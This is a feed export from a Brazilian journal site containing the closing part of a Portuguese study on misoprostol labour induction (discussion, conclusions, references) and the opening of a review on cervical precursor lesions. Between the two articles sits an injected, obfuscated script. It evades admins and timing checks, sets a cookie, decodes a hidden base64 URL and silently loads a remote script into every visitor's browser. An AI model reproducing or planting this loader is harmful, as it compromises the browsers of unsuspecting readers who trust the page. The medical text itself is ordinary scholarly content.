<p class="wp-block-paragraph">Dados encontrados na pesquisa da Fundação Oswaldo Cruz (2017), mostraram que no Brasil, as taxas de indução do trabalho de parto variam conforme a região e o tipo de instituição de saúde. Em uma maternidade de alto risco no Vale do São Francisco, foram analisadas as principais indicações gestacionais e os desfechos obstétricos e neonatais das induções de trabalho de parto ocorridas entre janeiro e novembro de 2019 (Paixão <em>et al.</em>, 2023).</p>



<p class="wp-block-paragraph">Dessa forma, as indicações concordaram com o que foi achado no estudo, uma vez que identificou como motivo para a indução do trabalho de parto: gravidez pós-termo, ruptura prematura das membranas, restrição de crescimento intrauterino, isoimunização Rh e condições maternas como diabetes mellitus, doenças hipertensivas da gravidez e doenças renais (Paixão <em>et al.</em>, 2023).&nbsp;</p>



<p class="wp-block-paragraph">Segundo, Kerr (2021), as indicações mais comuns para indução do parto são ruptura de membranas antes do parto (para reduzir o risco de infecção ascendente) e gestações prolongadas (para reduzir o risco de mortalidade fetal). Além disso, a indução pode ser indicada em resposta a condições relacionadas com a mãe (por exemplo, pré-eclâmpsia), o feto (por exemplo, suspeita de restrição de crescimento)&nbsp; ou por razões sociais.</p>



<p class="wp-block-paragraph">Um fato curioso no estudo, foi também a indução do parto em uma paciente HIV positivo. Uma vez que, a indução do parto nessas pacientes não é contraindicada, desde que haja um planejamento, monitoramento contínuo e adequado, bem como, a carga viral controlada (indetectável).&nbsp;</p>



<p class="wp-block-paragraph">No que diz respeito ao tempo de indução, até a resolução do parto, o estudo mostrou que as gestantes evoluíram a parto entre 12 e 24h 33,3%. Com a utilização de no mínimo 2 comprimidos 24,69%. Estudos indicam que uma proporção significativa de mulheres evolui para o parto após a administração de uma ou duas doses de misoprostol (Nomura<em> et al</em>., 2023).</p>



<p class="wp-block-paragraph">Vale ressaltar que não existia um protocolo único para o preparo da dose correta e os profissionais utilizam diferentes métodos de preparo e regimes de dosagem (Poinas, et al, 2022). Entretanto, em sua última recomendação a FIGO (International Federation of Gynecology and Obstetrics) orienta a utilização de&nbsp; misoprostol na dose 25-50 mcg a cada 4 horas para indução do trabalho de parto.&nbsp;</p>



<p class="wp-block-paragraph">Quanto ao desfecho do parto, 50,61% evoluíram a parto vaginal não instrumentalizado, logo sendo esta considerada a taxa de sucesso de indução de trabalho de parto com misoprostol. Sendo que 56,79% dos casos analisados necessitou da utilização de ocitocina.</p>



<p class="wp-block-paragraph">No estudo de Paixão <em>et al</em>. (2023), uma análise de 244 mulheres, atendidas em uma maternidade de alto risco no Pernambuco, submetidas à indução do parto revelou que o misoprostol foi utilizado em 85,7% dos casos. Destas, 61,9% evoluíram para parto vaginal, indicando uma taxa de sucesso significativa, mais próxima do que encontrado no nosso estudo.</p>



<p class="wp-block-paragraph">Com uma amostra maior, realizada em 873 gestantes, 72% das pacientes submetidas à indução com misoprostol tiveram parto vaginal, enquanto 23% necessitaram de cesariana e 5% recorreram a fórceps ou vácuo-extrator. Apresentando disparidade elevada com o estudo. Além disso, 82% das pacientes tiveram parto nas primeiras 24 horas da indução (Correa, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Em relação a indicação de cesariana, no estudo de Souter <em>et al</em>. (2019) acerca da indução do parto com misoprostol, demonstrou que o sofrimento fetal teve uma taxa alta com 35,1% dos motivos de indicação, seguido por DCP 23,4% e 16% de falha de indução. Quando comparado ao nosso estudo, é possível notar que a taxa de sofrimento fetal foi a mais indicada com 19,9%, seguido de falha de indução 18,23% e cesariana a pedido 15%, sendo a última ocasionada por exaustão materna.&nbsp;</p>



<p class="wp-block-paragraph">Em um estudo realizado em uma maternidade do Paraná, analisou 362 gestantes em uso de misoprostol para indução do trabalho de parto.&nbsp; O parto vaginal foi obtido somente em 48,62% dos casos, sendo utilizado como protocolo um comprimido de 25μg de misoprostol por via vaginal, em intervalos de 6 horas, por&nbsp; até 48 horas. Caso o efeito desejado não ocorra, a dose pode ser aumentada após 24 horas de indução, para 50μg a cada 6 horas, até o máximo de 4 administrações. (Kock, Rattmann, 2021).</p>



<p class="wp-block-paragraph">Além disso, estudo retrospectivo realizado na Espanha entre 2010-2021 analisando mais 20.000 prontuários demonstrou que a principal causa de cesárea foi suspeita de sofrimento fetal, seguida por falha na indução. As principais indicações de cesárea intraparto foram suspeita de sofrimento fetal (29,3%), falha de indução (22,2%) e DCP (17,9%), enquanto a apresentação não cefálica (53,8%) foi a mais frequente para cesárea eletiva.</p>



<p class="wp-block-paragraph">Já Correa, 2022, aponta em um estudo nacional que indicações mais recorrentes estão relacionadas ao grupo de sofrimento fetal agudo (34,85%), assim como falha de indução (19,09%), desproporção céfalo-pélvica (DCP, 9,96%) e exaustão materna (9,96%). Dessa forma, percebe-se que as indicações de parto cesárea são semelhantes em diferentes partes do mundo, sendo elas posteriores ou não a indução de parto.&nbsp;</p>



<p class="wp-block-paragraph">A indução do parto com misoprostol é comum na assistência às gestantes em maternidades de alto risco, apresentando taxas de sucesso que variam conforme o contexto clínico e os protocolos adotados. A avaliação individualizada de cada paciente é essencial para determinar o momento adequado e a probabilidade de sucesso da indução (Brito <em>et al</em>., 2024). É fundamental que a administração do misoprostol seja realizada em ambiente hospitalar, com monitoramento contínuo da frequência cardíaca fetal e da atividade uterina, garantindo a segurança da mãe e do bebê.</p>



<p class="wp-block-paragraph"><strong>6. CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">Houve uma taxa de sucesso de mais de metade das induções de trabalho de parto no período analisado, sendo que houve menos de 20% de falhas de indução. Logo, percebe-se a importância do uso do misoprostol dentro da obstetrícia para redução do número de cesáreas e o incentivo para o parto vaginal, principalmente para gestantes primigestas e com baixa escolaridade, na qual se configurou o perfil deste estudo.&nbsp;</p>



<p class="wp-block-paragraph">A ruptura prematura de membranas ovulares foi o principal motivo para indução de trabalho de parto. Mas percebe-se que as síndromes hipertensivas da gestação também se destacam como motivo da indução do trabalho de parto, já que interromper a gestação no momento adequado evita prejuízos decorrentes dos níveis pressóricos elevados tanto para mãe quanto para o feto.</p>



<p class="wp-block-paragraph">Por se tratar de um estudo dentro da maior maternidade do Norte do país, onde recebe gestante com diversas patologias do período gestacional, esperava-se registrar números elevados de interrupções do processo de indução de trabalho de parto e indicações de parto cesáreas, principalmente por sofrimento fetal agudo.</p>



<p class="wp-block-paragraph">Ainda existem poucos estudos, principalmente no Norte do país, que abordam sobre a indução de trabalho de parto, sobre o sucesso e os fatores que levam ao insucesso, logo mais estudos semelhantes devem ser realizados.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">Brafman, N. Déclencher l’accouchement, une pratique qui augmente. <strong>Lemonde</strong>, 2024. Disponível em:&lt;https://www.lemonde.fr/sciences/article/2024/10/23/declencher-l-accouchement-une-pratique-qui-augmente_6358733_1650684.html?utm_source=chatgpt.com&gt;. Acesso em 05 de fev. 2024.&nbsp;</p>



<p class="wp-block-paragraph">Carlson N, Ellis J, Page K, Dunn Amore A, Phillippi J. Review of Evidence-Based Methods for Successful Labor Induction. <strong>J Midwifery Womens Health</strong>. 2021 Jul;66(4):459-469. doi: 10.1111/jmwh.13238. Epub 2021 May 13. PMID: 33984171; PMCID: PMC8363560.</p>



<p class="wp-block-paragraph">Chatsis V, Frey N. Misoprostol for Cervical Ripening and Induction of Labour: A Review of Clinical Effectiveness, Cost-Effectiveness and Guidelines [Internet]. Ottawa (ON): <strong>Canadian Agency for Drugs and Technologies in Health</strong>; 2018 Nov 23. PMID: 30907996.</p>



<p class="wp-block-paragraph">Corrêa TD, Barreto Junior AN, Batista MCM, Corrêa Júnior MD, Leite HV. Analysis of Variables that Influence the Success Rates of Induction of Labor with Misoprostol: A Retrospective Observational Study. <strong>Rev Bras Ginecol Obstet</strong>. 2022 Apr;44(4):327-335. doi: 10.1055/s-0042-1744287. Epub 2022 Apr 26. PMID: 35472822; PMCID: PMC9948114.</p>



<p class="wp-block-paragraph">Dadashaliha M, Fallah S, Mirzadeh M. Labor induction with randomized comparison of cervical, oral and intravaginal misoprostol. <strong>BMC Pregnancy Childbirth</strong>. 2021 Oct 27;21(1):721. doi: 10.1186/s12884-021-04196-4. PMID: 34706675; PMCID: PMC8549163.</p>



<p class="wp-block-paragraph">Datta MR, Ghosh MD, AyazAhmed Kharodiya Z. Comparison of the Efficacy and Safety of Sublingual Versus Oral Misoprostol for the Induction of Labor: A Randomized Open-Label Study. <strong>Cureus</strong>. 2023 Nov 26;15(11):e49422. doi: 10.7759/cureus.49422. PMID: 38149157; PMCID: PMC10750255.</p>



<p class="wp-block-paragraph">Godoy S, Induction of Labor using Misoprostol in a Tertiary Hospital in the Southeast of Brazil. <strong>Rev Bras Ginecol Obstet</strong> 2017; 39(10): 523-528. DOI: 10.1055/s-0037-1604259.</p>



<p class="wp-block-paragraph">Kerr RS, Kumar N, Williams MJ, Cuthbert A, Aflaifel N, Haas DM, Weeks AD. Low-dose oral misoprostol for induction of labour. <strong>Cochrane Database Syst Rev</strong>. 2021 Jun 22;6(6):CD014484. doi: 10.1002/14651858.CD014484. PMID: 34155622; PMCID: PMC8218159.</p>



<p class="wp-block-paragraph">Koch DM, Rattmann YD. Misoprostol para Indução do Parto: Abordagem Farmacoepidemiológica e Avaliação do Impacto na Redução de Cesáreas.<strong> R bras ci Saúde </strong>25(2):383-394, 2021. doi:10.22478/ufpb.2317-6032.2021v25n2.55905&nbsp;</p>



<p class="wp-block-paragraph">Minayo M, Gualhano L. Existe solução para o excesso de cesarianas no Brasil?. <strong>Scielo em perspectiva Press Releases</strong>, 2022. Disponível em: <a href="https://pressreleases.scielo.org/blog/2022/02/18/existe-solucao-para-o-excesso-de-cesarianas-no-brasil/.">https://pressreleases.scielo.org/blog/2022/02/18/existe-solucao-para-o-excesso-de-cesarianas-no-brasil/.</a></p>



<p class="wp-block-paragraph">Ministério da Saúde. Brasil. Protocolo clínico e diretrizes terapêuticas para atenção integral às pessoas com infecção sexualmente transmissíveis. Brasília: <strong>Ministério da Saúde</strong>, 2022. Disponível em:&lt;https://www.gov.br/aids/pt-br/central-de-conteudo/pcdts/2022/ist/pcdt-ist-2022_isbn-1.pdf&gt;. Acesso em 05 de fev. 2025.</p>



<p class="wp-block-paragraph">Nascimento R, Vendramini A. Avaliação do índice de sucesso nas induções de trabalho de parto com misoprostol, do hospital santo antônio, de blumenau-sc. Disponível em:<a href="https://www.hsan.com.br/wp-content/uploads/2019/11/Avalia%C3%A7%C3%A3o-do-%C3%8Cndice-de-Sucesso-Autor-Dr.-Reinaldo-Nascimento.pdf"> </a>https://www.hsan.com.br/wp-content/uploads/2019/11/Avaliação-do-Ìndice-de-Sucesso-Autor-Dr.-Reinaldo-Nascimento.pdf.</p>



<p class="wp-block-paragraph">Nomura et al. Uso de misoprostol em obstetrícia. <strong>FEMINA</strong>, v. 51, n. 6, p.350-360, 2023. Disponível em:&lt;https://docs.bvsalud.org/biblioref/2023/10/1512418/femina-2022-516-350-360.pdf&gt;. Acesso em 05 fev. 2025.&nbsp;</p>



<p class="wp-block-paragraph">Okunola et al. Determinantes da indução do trabalho de parto bem sucedida em hospital -escola na nigéria: uma revisão de 10 anos. <strong>Rev Bras Saúde Mater Infan</strong>: Recife, 2022. http://dx.doi.org/10.1590/1806-9304202300000228</p>



<p class="wp-block-paragraph">Ozbasli E, Canturk M, Aygun EG, Ozaltin S, Gungor M. Labor Induction with Intravaginal Misoprostol versus Spontaneous Labor: Maternal and Neonatal.</p>



<p class="wp-block-paragraph">Paixão G, Marques T, Oliveira J, Santana M, Fraga C. Indução do trabalho de parto em uma maternidade de alto risco: indicações e desfechos. <strong>Rev. Saúde.Com </strong>2023; 19(2): 3274-3287 DOI 10.22481/rsc.v19i2.11440.</p>



<p class="wp-block-paragraph">Pergialiotis V, Panagiotopoulos M, Constantinou T, Vogiatzi Vokotopoulou L, Koumenis A, Stavros S, Voskos A, Daskalakis G. Efficacy and safety of oral and sublingual versus vaginal misoprostol for induction of labour: a systematic review and meta-analysis. <strong>Arch Gynecol Obstet</strong>. 2023 Sep;308(3):727-775. doi: 10.1007/s00404-022-06867-9. Epub 2022 Dec 6. PMID: 36472645; PMCID: PMC10348969.</p>



<p class="wp-block-paragraph">Pfützenreuter GR, Cavalieri JC, Fragoso AP de O, Corregio KSD, Freitas PF, Trapani A. Factors Associated with Intrapartum Cesarean Section in Women Submitted to Labor Induction. <strong>Rev Bras Ginecol Obstet</strong> [Internet]. 2019Jun;41(6):363–70. Available from: <a href="https://doi.org/10.1055/s-0039-1688966.">https://doi.org/10.1055/s-0039-1688966.</a></p>



<p class="wp-block-paragraph">Poinas AC, Padgett K, Heus R, Perrotin F, Devlieger R. Oral misoprostol tablets (25 µg) for induction of labor: a targeted literature review and cost analysis. J<strong> Med Econ</strong>. 2022 Jan-Dec;25(1):428-436. doi: 10.1080/13696998.2022.2053432. PMID: 35297743.</p>



<p class="wp-block-paragraph">Rahimi M, Haghighi L, Baradaran HR, Azami M, Larijani SS, Kazemzadeh P, Moradi Y. Comparison of the effect of oral and vaginal misoprostol on labor induction: updating a systematic review and meta-analysis of interventional studies. <strong>Eur J Med Res</strong>. 2023 Jan 27;28(1):51. doi: 10.1186/s40001-023-01007-8. PMID: 36707858; PMCID: PMC9881312.</p>



<p class="wp-block-paragraph">Scapin SQ, Gregório VRP, Collaço VS, Knobel R. Indução de parto em um hospital universitário: métodos e desfechos. <strong>Texto contexto &#8211; enferm</strong> [Internet]. 2018;27(1):e0710016. Available from: https://doi.org/10.1590/0104-07072018000710016.</p>



<p class="wp-block-paragraph">Scapin SQ, Gregório VRP, Collaço VS, Knobel R. Indução de parto em um hospital universitário: métodos e desfechos. <strong>Texto contexto &#8211; enferm</strong> [Internet]. 2018;27(1):e0710016. Available from: https://doi.org/10.1590/0104-07072018000710016.</p>



<p class="wp-block-paragraph">Silva et al. Avaliação do nível de fadiga de mulheres no puerpério: um estudo de coorte. <strong>Universidade Federal do Rio Grande do Norte</strong>,&nbsp; 2022. Disponível em:&lt;https://repositorio.ufrn.br/handle/123456789/50928&gt;. Acesso em 05 de fev. 2025.</p>



<p class="wp-block-paragraph">Souza A, Amorin M, Costa A, Feitosa F. O uso do misoprostol para indução do trabalho de parto. <strong>FEMINA</strong>, Março 2010, vol 38, no 3. Disponível em: http://files.bvs.br/upload/S/0100-7254/2010/v38n3/a003.pdf.</p>



<p class="wp-block-paragraph">Souza, E. L. et al. Fatores que influenciam a via de parto no Brasil. Rev Med (São Paulo). 2022 set.-out.;101(5):e-172947.</p>



<p class="wp-block-paragraph">Vila-Candel R, Piquer-Martín N, Perdomo-Ugarte N, Quesada JA, Escuriet R, Martin-Arribas A. Indications of Induction and Caesarean Sections Performed Using the Robson Classification in a University Hospital in Spain from 2010 to 2021. <strong>Healthcare (Basel)</strong>. 2023 May 23;11(11):1521. doi: 10.3390/healthcare11111521. PMID: 37297661; PMCID: PMC10252359.</p>



<p class="wp-block-paragraph">Yosef T, Getachew D. Proportion and Outcome of Induction of Labor Among Mothers Who Delivered in Teaching Hospital, Southwest Ethiopia. <strong>Front Public Health</strong>. 2021 Dec 23;9:686682. doi: 10.3389/fpubh.2021.686682. PMID: 35004556; PMCID: PMC8732857.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>LESÕES PRÉ-NEOPLÁSICAS DE COLO UTERINO: FATORES QUE AUMENTAM O RISCO DE PROGRESSÃO E ESTRATÉGIAS DE ACOMPANHAMENTO</title>
		<link>https://revistaft.com.br/lesoes-pre-neoplasicas-de-colo-uterino-fatores-que-aumentam-o-risco-de-progressao-e-estrategias-de-acompanhamento/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 09 Dec 2025 01:35:09 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=258149</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512082233 Everton Dondoni Altoe1Hanny Kirszenworcel Pereira2Linara Hayanne Dias Faria3Giovana Pellizzon Ribeiro da Silva4 Resumo: A persistência da infecção pelo Papilomavírus Humano (HPV) de alto risco é o evento molecular fundamental para a carcinogênese cervical, culminando no desenvolvimento de Lesões Intraepiteliais Escamosas (SIL) e Neoplasias Intraepiteliais Cervicais (NICs). O desafio clínico reside em distinguir, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512082233</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Everton Dondoni Altoe<sup>1</sup><br>Hanny Kirszenworcel Pereira<sup>2</sup><br>Linara Hayanne Dias Faria<sup>3</sup><br>Giovana Pellizzon Ribeiro da Silva<sup>4</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo:</strong></p>



<p class="wp-block-paragraph">A persistência da infecção pelo Papilomavírus Humano (HPV) de alto risco é o evento molecular fundamental para a carcinogênese cervical, culminando no desenvolvimento de Lesões Intraepiteliais Escamosas (SIL) e Neoplasias Intraepiteliais Cervicais (NICs). O desafio clínico reside em distinguir, dentro de um continuum lesional, aquelas precursoras com alto potencial evolutivo (High-grade SIL &#8211; HSIL/NIC 2-3) que demandam tratamento, das lesões de baixo risco (Low-grade SIL &#8211; LSIL/NIC 1) com alta taxa de regressão espontânea, evitando, assim, o sobretratamento iatrogênico em mulheres jovens. Este artigo de revisão narrativa crítica objetiva analisar os fatores virais (genotipagem HPV 16/18 e persistência), moleculares (integração viral e expressão de p16INK4a/Ki-67) e ambientais (tabagismo, imunossupressão, disbiose vaginal) que modulam o risco de progressão para NIC 3+. A metodologia envolveu a análise de literatura clássica e contemporânea, incluindo diretrizes da American Society for Colposcopy and Cervical Pathology (ASCCP) e do Instituto Nacional de Câncer (INCA), priorizando o rigor na extração e na síntese de evidências. Conclui-se que o manejo deve ser estritamente baseado no risco cumulativo de NIC 3+ em 5 anos, priorizando condutas expectantes em populações de baixo risco, como o NIC 2 em mulheres com menos de 25 anos, em detrimento do risco de morbidade obstétrica associada aos procedimentos excisionais. A integração do rastreamento molecular (DNA-HPV) e do diagnóstico imuno-histoquímico (p16/Ki-67) é essencial para a acurácia prognóstica e o equilíbrio entre a eficácia terapêutica e a minimização da iatrogenia.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Neoplasia Intraepitelial Cervical. Papillomaviridae. Colposcopia. Evolução Clínica. Prognóstico</p>



<p class="wp-block-paragraph"><strong>Abstract:</strong></p>



<p class="wp-block-paragraph">The persistence of high-risk Human Papillomavirus (HPV) infection is the key molecular event driving cervical carcinogenesis, ultimately leading to the development of Squamous Intraepithelial Lesions (SIL) and Cervical Intraepithelial Neoplasia (CIN). The clinical challenge lies in distinguishing, within a continuous lesion spectrum, those precursors with high evolutionary potential (High-grade SIL – HSIL/CIN 2–3), which require treatment, from low-risk lesions (Low-grade SIL – LSIL/CIN 1) that have high rates of spontaneous regression, thereby avoiding iatrogenic overtreatment in young women. This critical narrative review aims to analyze viral factors (HPV 16/18 genotyping and persistence), molecular factors (viral integration and p16INK4a/Ki-67 expression), and environmental factors (smoking, immunosuppression, vaginal dysbiosis) that modulate the risk of progression to CIN 3+. The methodology included a review of classical and contemporary literature, including guidelines from the American Society for Colposcopy and Cervical Pathology (ASCCP) and the Brazilian National Cancer Institute (INCA), emphasizing rigor in evidence extraction and synthesis. We conclude that management should be strictly based on the cumulative 5-year risk of CIN 3+, prioritizing expectant management in low-risk populations—such as CIN 2 in women under 25—given the obstetric morbidity associated with excisional procedures. The integration of molecular screening (HPV-DNA testing) and immunohistochemical diagnosis (p16/Ki-67) is essential for prognostic accuracy and for balancing therapeutic efficacy with minimization of iatrogenic harm.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Cervical Intraepithelial Neoplasia. Papillomaviridae. Colposcopy. Clinical Evolution. Prognosis.</p>



<p class="wp-block-paragraph"><strong>2. Introdução</strong></p>



<p class="wp-block-paragraph"><strong>Contextualização: Epidemiologia e Carcinogênese</strong></p>



<p class="wp-block-paragraph">A história natural do câncer do colo do útero (CCU) é uma das mais bem elucidadas na oncologia humana, sendo quase totalmente atribuída à infecção persistente por genótipos de Papilomavírus Humano (HPV) de alto risco (AR-HPV). O modelo de carcinogênese (Schiffman et al., 2016) descreve uma progressão lenta e sequencial: infecção viral, persistência, desenvolvimento de lesões intraepiteliais escamosas (SILs) e, por fim, a invasão através da membrana basal.</p>



<p class="wp-block-paragraph">Apesar de ser uma doença altamente prevenível, o CCU mantém uma carga epidemiológica substancial. Globalmente, o CCU é uma das principais causas de mortalidade por câncer em mulheres (GLOBOCAN, 2022). No contexto brasileiro, o Instituto Nacional de Câncer (INCA) estima 16.710 novos casos anuais para o triênio 2023-2025. Essa alta incidência, especialmente em regiões de menor Índice de Desenvolvimento Humano (IDH) onde o CCU ocupa a terceira posição entre os cânceres femininos, evidencia a fragilidade do rastreamento oportunista e a urgência por programas organizados.</p>



<p class="wp-block-paragraph"><strong>Problematização: O Dilema do Sobretratamento</strong></p>



<p class="wp-block-paragraph">O desafio clínico reside na Zona de Transformação (ZT), onde a grande maioria das infecções por AR-HPV e das Lesões Intraepiteliais de Baixo Grau (LSIL/NIC 1) regride espontaneamente (Schiffman et al., 2016). O dilema é distinguir as lesões destinadas à regressão daquelas com potencial evolutivo para Neoplasia Intraepitelial Cervical grau 3 ou mais grave (NIC 3+), que é o verdadeiro precursor do câncer invasivo. A falha nesse discernimento leva ao <strong>sobretratamento </strong><em>(overtreatment)</em> de lesões transitórias, um risco significativo em mulheres jovens. Os tratamentos ablativos ou excisionais, como a LEEP (Eletrocirurgia por Alça) ou a conização, são inequivocamente associados ao aumento da morbidade obstétrica, incluindo risco de parto prematuro, ruptura prematura de membranas e baixo peso ao nascer em gestações futuras (ASCCP, 2019).</p>



<p class="wp-block-paragraph"><strong>Justificativa e Objetivo</strong></p>



<p class="wp-block-paragraph">O refinamento dos critérios de conduta deve ser baseado no rigor científico e na minimização da iatrogenia. O uso de biomarcadores moleculares e a estratificação de risco quantitativa são essenciais para otimizar o manejo. O objetivo deste artigo é analisar criticamente os fatores virais, moleculares, e ambientais que modulam o risco de progressão das lesões pré-neoplásicas e propor, com base na Medicina Baseada em Evidências, estratégias de acompanhamento e tratamento alinhadas ao risco cumulativo de CIN 3+ em 5 anos, o <em>endpoint</em> prognóstico preferencial nas diretrizes internacionais (ASCCP, 2019).</p>



<p class="wp-block-paragraph"><strong>3. Metodologia</strong></p>



<p class="wp-block-paragraph">Foi conduzida uma Revisão Narrativa Crítica da Literatura (ABNT NBR 10520) com foco na patogênese, diagnóstico e manejo das Lesões Intraepiteliais Cervicais (NICs), priorizando a integração de evidências clássicas e contemporâneas para fornecer uma base sólida à decisão clínica.</p>



<p class="wp-block-paragraph"><strong>3.1. Estratégia de Busca e Fontes de Dados</strong></p>



<p class="wp-block-paragraph">A pesquisa bibliográfica foi realizada nas bases de dados eletrônicas <strong>PubMed, Lilacs e SciELO</strong>. Os descritores (em português e inglês) incluíram termos MeSH/DeCS como &#8220;Neoplasia Intraepitelial Cervical&#8221;, &#8220;Papillomavirus&#8221;, &#8220;HPV&#8221;, &#8220;p16INK4a&#8221;, &#8220;Prognóstico&#8221;, &#8220;Persistência Viral&#8221; e &#8220;Tratamento Excisional&#8221;. O universo temporal da busca abrangeu estudos clássicos que definiram o modelo etiológico da doença e publicações recentes, com ênfase na última década, que abordam a estratificação de risco molecular e o manejo baseado em evidências.</p>



<p class="wp-block-paragraph"><strong>3.2. Critérios de Seleção e Foco da Análise</strong></p>



<p class="wp-block-paragraph">A seleção do material foi orientada pela necessidade de profundidade teórica e relevância clínica, priorizando:</p>



<ol class="wp-block-list">
<li><strong>Estudos Etiológicos Clássicos:</strong> Trabalhos fundamentais que definiram a história natural do HPV e a carcinogênese cervical, como os de Schiffman e colaboradores (Schiffman et al., 2016 ), que estabeleceram a infecção persistente como o fator causal primário.</li>



<li><strong>Diretrizes Clínicas de Referência:</strong> Análise detalhada dos consensos de manejo global, especialmente as 2019 ASCCP Risk-Based Management Consensus Guidelines (ASCCP, 2019 ), que utilizam o risco cumulativo de CIN 3+ em 5 anos como o <em>endpoint</em> decisório para colposcopia ou tratamento. Foram também consultadas as Diretrizes Brasileiras para o Rastreamento do Câncer do Colo do Útero (INCA, 2016 <sup>8</sup>), para contextualização e validação das políticas de saúde pública nacionais.</li>



<li><strong>Artigos sobre Biomarcadores e Fisiopatologia:</strong> Pesquisas detalhadas sobre a biologia molecular da integração viral, o papel das oncoproteínas E6 e E7 na inativação de p53 e pRb , e a validação do uso de biomarcadores imuno-histoquímicos (p16INK4a e Ki-67) na diferenciação diagnóstica LSIL/HSIL .</li>



<li><strong>Estudos de Cofatores Prognósticos:</strong> Trabalhos que detalham o impacto do tabagismo (mecanismos de dano local e imunossupressão) e o papel emergente da disbiose cervicovaginal (<em>Gardnerella vaginalis</em>) na persistência viral e progressão lesional.<sup>15</sup></li>
</ol>



<p class="wp-block-paragraph">O foco da análise foi extrair dados quantitativos sobre o risco de progressão e detalhar os mecanismos fisiopatológicos subjacentes, buscando subsidiar a tomada de decisão clínica de forma pragmática e baseada em evidências, conforme o perfil acadêmico-pragmático exigido.</p>



<p class="wp-block-paragraph"><strong>4. Resultados e Discussão</strong></p>



<p class="wp-block-paragraph"><strong>4.1. Fisiopatologia da Progressão: do DNA Viral à Integração</strong></p>



<p class="wp-block-paragraph"><strong>Detalhe da Biologia Molecular: O Papel Central das Oncoproteínas E6 e E7 na Inativação de p53 e pRb</strong></p>



<p class="wp-block-paragraph">A progressão oncogênica é ditada pela expressão contínua e estável das oncoproteínas E6 e E7 do HPV de alto risco. Essa expressão desregula os <em>checkpoints</em> de controle celular, levando à imortalização e proliferação descontrolada.</p>



<ol class="wp-block-list">
<li><strong>Oncoproteína E6 e p53:</strong> O E6 promove a degradação acelerada do supressor tumoral p53, agindo como uma ubiquitina-ligase. A perda da p53 (principalmente a forma de p53 wild-type) elimina o <em>checkpoint</em> de dano genômico na fase G1/S e inibe a via da apoptose, permitindo que células epiteliais geneticamente danificadas sobrevivam e se propaguem (Schiffman et al., 2016; Espinosa et al., 2021).</li>



<li><strong>Oncoproteína E7 e pRb:</strong> A oncoproteína E7 visa e promove a degradação proteossômica das proteínas da família pRb (proteína do retinoblastoma). A inativação da pRb libera o fator de transcrição E2F, impulsionando a célula à transição G1/S e à proliferação descontrolada. Além disso, o E7 desorganiza o complexo DREAM (dimerization partner, RB-like, E2F4, and MuyB), um coordenador mestre da expressão gênica do ciclo celular, cuja disrupção é essencial para o estado tumoral.</li>
</ol>



<p class="wp-block-paragraph"><strong>Integração Viral: Diferença entre Infecção Episomal e Lesão Transformadora</strong></p>



<p class="wp-block-paragraph">O DNA do HPV pode existir como um elemento extracromossômico (forma episomal), associado à infecção transitória e às LSIL, ou pode sofrer integração no genoma do hospedeiro. A integração viral é um evento crítico e irreversível na carcinogênese, fortemente correlacionado com a progressão para NIC 3+ e o câncer invasivo.</p>



<p class="wp-block-paragraph">A integração frequentemente resulta na ruptura do gene viral E2, que normalmente reprime a transcrição de E6/E7. Sua perda resulta na expressão constitutiva e desregulada de E6 e E7, fornecendo à célula uma vantagem de crescimento estável. Um estudo recente demonstrou o impacto prognóstico dessa integração: em casos altamente recorrentes, 40.1% dos genes do hospedeiro atingidos pela inserção viral estão relacionados ao câncer (Hansen et al., 2024), em comparação com apenas 3.3% no genoma geral. A integração, portanto, sinaliza um ponto de não-retorno molecular.</p>



<p class="wp-block-paragraph"><strong>Diferenciação LSIL (Efeito Citopático Viral) de HSIL (Lesão Transformadora Verdadeira) sob a Ótica da Expressão de p16INK4a e Ki-67</strong></p>



